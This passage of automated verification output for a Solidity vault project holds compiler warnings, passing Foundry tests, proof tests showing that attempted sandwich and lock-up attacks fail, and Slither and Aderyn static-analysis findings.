^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:182:9:\n    |\n182 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n\nRan 1 test for test/imd-proof-8aa5f158/Proof_cdda753debca.t.sol:BuybackSandwichTest\n[PASS] testBuybackTrancheCannotBeSandwichedForProfit() (gas: 1106737)\nLogs:\n  vault IMD spent: 0\n  vault TEST received: 0\n  attacker IMD profit: -2498994993001023044\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.47ms (288.53µs CPU time)\n\nRan 1 test suite in 2.94ms (1.47ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":9890,"exitCode":0,"name":"proof ed00cdc932e7","output":"2026-10-21T09:23:19.505390Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-rHzNyz/repo/test/imd-proof-8aa5f158/Proof_cdda753debca.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 9.29s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:132:10:\n    |\n132 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:182:9:\n    |\n182 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n\nRan 2 tests for test/imd-proof-e3658e17/Proof_ed00cdc932e7.t.sol:BuybackBrickTest\n[PASS] testDustDonationMustNotLockTheAirdropForever() (gas: 3730666)\n[PASS] testPartialFillMustNotLockTheAirdropForever() (gas: 3975908)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.59ms (2.57ms CPU time)\n\nRan 1 test suite in 3.19ms (1.59ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)\n","passed":true},{"durationMs":1994,"exitCode":0,"name":"proof ea7db97f1689","output":"2026-10-21T09:23:29.329751Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-rHzNyz/repo/test/imd-proof-e3658e17/Proof_ed00cdc932e7.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.48s\nCompiler run successful!\n\nRan 2 tests for test/imd-proof-fcad9c8b/Proof_ea7db97f1689.t.sol:JobsCapStarvationTest\n[PASS] testEligibleHolderIsNotStarvedByOneHoppingBag() (gas: 3667353)\n[PASS] testTwoEligibleHoldersInOneBlockBothServed() (gas: 349300)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.53ms (1.26ms CPU time)\n\nRan 1 test suite in 3.03ms (1.53ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"621069610889b9859df36d8d2e66faf0c4980a5035f8dfe3c0942ead9d19ebe2","verifiedTreeHash":"941c546d7b2c14ab328b091bb6f2b6c8eab82fba","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":41929,"exitCode":0,"name":"build","output":"Compiling 113 files with Solc 0.8.26\nSolc 0.8.26 finished in 41.83s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:128:10:\n    |\n128 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:178:9:\n    |\n178 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":538,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 482.00µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 828.45µs (606.70µs CPU time)\n\nRan 4 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4ThinPoolTranchesStayInsidePriceBandAndBuybackEnds() (gas: 3183637)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4315081)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4305614)\n[PASS] testUninitializedPoolCannotBind() (gas: 229482)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 13.88ms (8.42ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29352482)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 33.67ms (33.52ms CPU time)\n\nRan 10 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 920529)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1665550, ~: 804201)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4868251)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 464445)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 125871)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3093571)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1686606)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 739922)\n[PASS] testRejectingMarketingCodeKeepsEthWithoutBlockingSplitOrBurn() (gas: 3038340)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3526963)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 99.03ms (85.75ms CPU time)\n\nRan 6 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1337753)\n[PASS] testHoldingHoppedBetweenWalletsCannotDrainBudget() (gas: 7868247)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 663808)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 384657)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1424000)\n[PASS] testSixDecimalsThreshold() (gas: 1297247)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 108.38ms (4.60ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2517062)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2247342)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1848382)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1969736, ~: 1970175)\nLogs:\n  Bound result 3217\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 721314)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2136228)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 565483)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 132.16ms (103.72ms CPU time)\n\nRan 18 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2933150)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3828996)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3213549)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3206835)\n[PASS] testEmptyRootCanRollOver() (gas: 2914059)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2819288)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3070451, ~: 3067378)\nLogs:\n  Bound result 184209637811063276951311757881\n  Bound result 102\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2797838)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144462)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4038711)\n[PASS] testRetrySponsorPaysAndOldIdBecomesInvalid() (gas: 3961856)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4101932)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6454998)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2793926)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3168211)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2841626)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3013906)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2837870)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 132.25ms (185.70ms CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n VaultInvariantsTest invariants (runs: 64, calls: 2048, reverts: 0)\n\n╭--------------+----------------+-------+---------+----------╮\n| Contract     | Selector       | Calls | Reverts | Discards |\n+============================================================+\n| VaultHandler | advance        | 350   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | buyback        | 309   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | distribute     | 336   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | requestJob     | 334   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | rollover       | 365   | 0       | 0        |\n|--------------+----------------+-------+---------+----------|\n| VaultHandler | settleAndClaim | 354   | 0       | 0        |\n╰--------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1411\n  Bound result 3649\n  Bound result 1\n  Bound result 1\n  Bound result 10001\n  Bound result 2\n  Bound result 2\n  Bound result 1\n  Bound result 243\n  Bound result 2\n  Bound result 2\n  Bound result 38068352\n  Bound result 1\n  Bound result 9936\n  Bound result 1\n  Bound result 625112\n  Bound result 137095237273775517\n  Bound result 59096\n  Bound result 120000000000000000000\n  Bound result 1502\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 430.50ms (428.23ms CPU time)\n\nRan 9 test suites in 432.18ms (951.19ms CPU time): 54 tests passed, 0 failed, 1 skipped (55 total tests)\n","passed":true},{"durationMs":84,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":114,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":31,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":237,\"src/HolderRewards.sol\":307,\"src/JobsVault.sol\":62,\"src/Network.sol\":17,\"src/SIMDVault.sol\":128,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":17,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/CompensationVault.t.sol\":221,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":324,\"test/JobsVault.t.sol\":130,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":176,\"test/SIMDVault.t.sol\":197,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":129,\"test/VaultInvariants.t.sol\":140,\"test/mocks/Mocks.sol\":258,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":8518,"exitCode":0,"name":"slither","output":"[high/medium] reentrancy-balance at src/CompensationVault.sol:94: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#94-148):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:94: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#94-148):\n[high/medium] reentrancy-balance at src/CompensationVault.sol:94: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#94-148):\n[medium/high] incorrect-equality at src/JobsVault.sol:40: JobsVault.requestJob(bytes) (src/JobsVault.sol#40-61) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:157: CompensationVault.unlockCallback(bytes) (src/CompensationVault.sol#157-188) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:94: CompensationVault.buyback() (src/CompensationVault.sol#94-148) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:94: CompensationVault.buyback() (src/CompensationVault.sol#94-148) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:94: CompensationVault.buyback() (src/CompensationVault.sol#94-148) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/CompensationVault.sol:190: CompensationVault.airdrop(address[],uint256[],bytes32[][]) (src/CompensationVault.sol#190-219) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/HolderRewards.sol:258: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#258-279):\n[medium/medium] reentrancy-no-eth at src/CompensationVault.sol:94: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#94-148):\n[medium/medium] uninitialized-local at src/HolderRewards.sol:93: HolderRewards.onDeposit(uint256).carry (src/HolderRewards.sol#93) is a local variable never initialized\n[medium/medium] unused-return at src/CompensationVault.sol:94: CompensationVault.buyback() (src/CompensationVault.sol#94-148) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(poolKey.toId()) (src/CompensationVault.sol#137)\n[medium/medium] unused-return at src/SIMDVault.sol:99: SIMDVault.distribute() (src/SIMDVault.sol#99-127) ignores return value by ILaunchFactory(FACTORY).claimFees{gas: CLAIM_GAS_LIMIT}(launchNumber) (src/SIMDVault.sol#103-106)\n[medium/medium] unused-return at src/CompensationVault.sol:72: CompensationVault.setLaunch(address,PoolKey) (src/CompensationVault.sol#72-86) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(key.toId()) (src/CompensationVault.sol#79)\n[medium/medium] unused-return at src/SIMDVault.sol:86: SIMDVault.bindLaunch(uint64,address) (src/SIMDVault.sol#86-97) ignores return value by (key,None,None,requester) = ILaunchFactory(FACTORY).positionOf(number) (src/SIMDVault.sol#88)\n[medium/medium] unused-return at src/CompensationVault.sol:94: CompensationVault.buyback() (src/CompensationVault.sol#94-148) ignores return value by (price,None,None,None) = IPoolManager(Network.POOL_MANAGER).getSlot0(poolKey.toId()) (src/CompensationVault.sol#118)\n[low/high] shadowing-local at src/CompensationVault.sol:178: CompensationVault.unlockCallback(bytes).paid (src/CompensationVault.sol#178) shadows:\n[low/high] shadowing-local at src/CompensationVault.sol:128: CompensationVault.buyback().paid (src/CompensationVault.sol#128) shadows:\n[low/medium] events-maths at src/JobsVault.sol:33: JobsVault.setToken(address) (src/JobsVault.sol#33-38) should emit an event for: \n[low/medium] missing-zero-check at src/SIMDVault.sol:86: SIMDVault.bindLaunch(uint64,address).token_ (src/SIMDVault.sol#86) lacks a zero-check on :\n[low/medium] reentrancy-benign at src/SIMDVault.sol:72: Reentrancy in SIMDVault.launch(bytes) (src/SIMDVault.sol#72-84):\n[low/medium] reentrancy-benign at src/CompensationVault.sol:94: Reentrancy in CompensationVault.buyback() (src/CompensationVault.sol#94-148):\n[low/medium] reentrancy-benign at src/HolderRewards.sol:258: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#258-279):\n[low/medium] reentrancy-events at src/HolderRewards.sol:258: Reentrancy in HolderRewards._ask(uint256,uint256) (src/HolderRewards.sol#258-279):\n[low/medium] timestamp at src/HolderRewards.sol:181: HolderRewards.rollover(uint256) (src/HolderRewards.sol#181-195) uses timestamp for comparisons\n[low/medium] timestamp at src/SIMDVault.sol:99: SIMDVault.distribute() (src/SIMDVault.sol#99-127) uses timestamp for comparisons\n[low/medium] timestamp at src/JobsVault.sol:40: JobsVault.requestJob(bytes) (src/JobsVault.sol#40-61) uses timestamp for comparisons\n[low/medium] timestamp at src/CompensationVault.sol:94: CompensationVault.buyback() (src/CompensationVault.sol#94-148) uses timestamp for comparisons\n[low/medium] timestamp at src/oracle/OracleAttestation.sol:164: OracleAttestationConsumer._verifyAttestation(OracleAttestation.Attestation,bytes) (src/oracle/OracleAttestation.sol#164-175) uses timestamp for comparisons\n[low/medium] timestamp at src/HolderRewards.sol:123: HolderRewards.retryOracle(uint256) (src/HolderRewards.sol#123-133) uses timestamp for comparisons","passed":true},{"durationMs":753,"exitCode":0,"name":"aderyn","output":"[high] eth-send-unchecked-address at src/SIMDVault.sol:99: ETH transferred without address checks\n[high] reentrancy-state-change at src/CompensationVault.sol:103: Reentrancy: State change after external call (17 places)\n[low] costly-loop at src/CompensationVault.sol:206: Costly operations inside loop\n[low] internal-function-used-once at src/oracle/OracleAttestation.sol:205: Internal Function Used Only Once (2 places)\n[low] large-numeric-literal at src/CompensationVault.sol:32: Large Numeric Literal (8 places)\n[low] literal-instead-of-constant at src/HolderRewards.sol:149: Literal Instead of Constant (23 places)\n[low] local-variable-shadowing at src/CompensationVault.sol:128: Local Variable Shadows State Variable (2 places)\n[low] non-reentrant-not-first at src/HolderRewards.sol:88: `nonReentrant` is Not the First Modifier (3 places)\n[low] require-revert-in-loop at src/CompensationVault.sol:206: Loop Contains `require`/`revert` (3 places)\n[low] state-change-without-event at src/CompensationVault.sol:157: State Change Without Event\n[low] state-no-address-check at src/SIMDVault.sol:91: Address State Variable Set Without Checks\n[low] uninitialized-local-variable at src/CompensationVault.sol:206: Uninitialized Local Variable (5 places)","passed":true},{"durationMs":11238,"exitCode":0,"name":"proof cdda753debca","output":"Compiling 105 files with Solc 0.8.26\nSolc 0.8.26 finished in 10.57s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:128:10:\n    |\n128 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:178:9:\n    |\n178 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n\nRan 1 test for test/imd-proof-2fa94717/Proof_cdda753debca.t.sol:BuybackSandwichTest\n[PASS] testBuybackTrancheCannotBeSandwichedForProfit() (gas: 1106641)\nLogs:\n  vault IMD spent: 0\n  vault TEST received: 0\n  attacker IMD profit: -2498994993001023044\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.32ms (286.94µs CPU time)\n\nRan 1 test suite in 3.02ms (1.32ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true},{"durationMs":9747,"exitCode":0,"name":"proof ed00cdc932e7","output":"2026-10-21T08:38:48.788071Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-3F1aQb/repo/test/imd-proof-2fa94717/Proof_cdda753debca.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 9.14s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:128:10:\n    |\n128 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:178:9:\n    |\n178 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n\nRan 2 tests for test/imd-proof-0a29933a/Proof_ed00cdc932e7.t.sol:BuybackBrickTest\n[PASS] testDustDonationMustNotLockTheAirdropForever() (gas: 3730581)\n[PASS] testPartialFillMustNotLockTheAirdropForever() (gas: 3975804)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.00ms (2.92ms CPU time)\n\nRan 1 test suite in 4.65ms (2.00ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)\n","passed":true},{"durationMs":2328,"exitCode":0,"name":"proof 6b86b00840e5","output":"2026-10-21T08:38:58.433896Z ERROR foundry_compilers_artifacts_solc::sources: error=\"/tmp/imd-verify-3F1aQb/repo/test/imd-proof-0a29933a/Proof_ed00cdc932e7.t.sol\": No such file or directory (os error 2)\nCompiling 1 files with Solc 0.8.26\nSolc 0.8.26 finished in 1.84s\nCompiler run successful!\n\nRan 1 test for test/imd-proof-fcdc94c9/Proof_6b86b00840e5.t.sol:JobsVaultHoldingHopTest\n[PASS] testOneHoldingCannotOpenMoreThanOneJobPerDay() (gas: 2927947)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 707.23µs (350.71µs CPU time)\n\nRan 1 test suite in 3.21ms (707.23µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)\n","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"65ffb84865b1271431d1da9b07d2a97bc25de8e45e9dc4150f622466ea4c0df2","verifiedTreeHash":"b2b446fdc3580be14405ea8c4e423bbf265be676","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":38008,"exitCode":0,"name":"build","output":"Compiling 113 files with Solc 0.8.26\nSolc 0.8.26 finished in 37.91s\nCompiler run successful!\n","passed":true},{"durationMs":495,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 431.58µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 1.06ms (730.34µs CPU time)\n\nRan 3 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4108774)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4099300)\n[PASS] testUninitializedPoolCannotBind() (gas: 229196)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 2.86ms (3.85ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 28284650)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 35.12ms (35.01ms CPU time)\n\nRan 5 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1147243)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 617940)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 338987)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1177939)\n[PASS] testSixDecimalsThreshold() (gas: 1230516)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 126.34ms (1.93ms CPU time)\n\nRan 9 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 874493)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1619673, ~: 758597)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4822647)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 464445)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 125849)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3047989)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1641024)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 739922)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3481311)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 126.43ms (77.10ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 286723)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2314006)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2044562)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 140420)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1716808)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1838386, ~: 1838865)\nLogs:\n  Bound result 19913\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 908050)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2002853)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 551930)\n[PASS] testZeroOrSubTenWeiBudgetCompletesAfterWindowWithoutSwap() (gas: 201599)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 126.53ms (70.17ms CPU time)\n\nRan 18 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2933150)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3828996)\n[PASS] 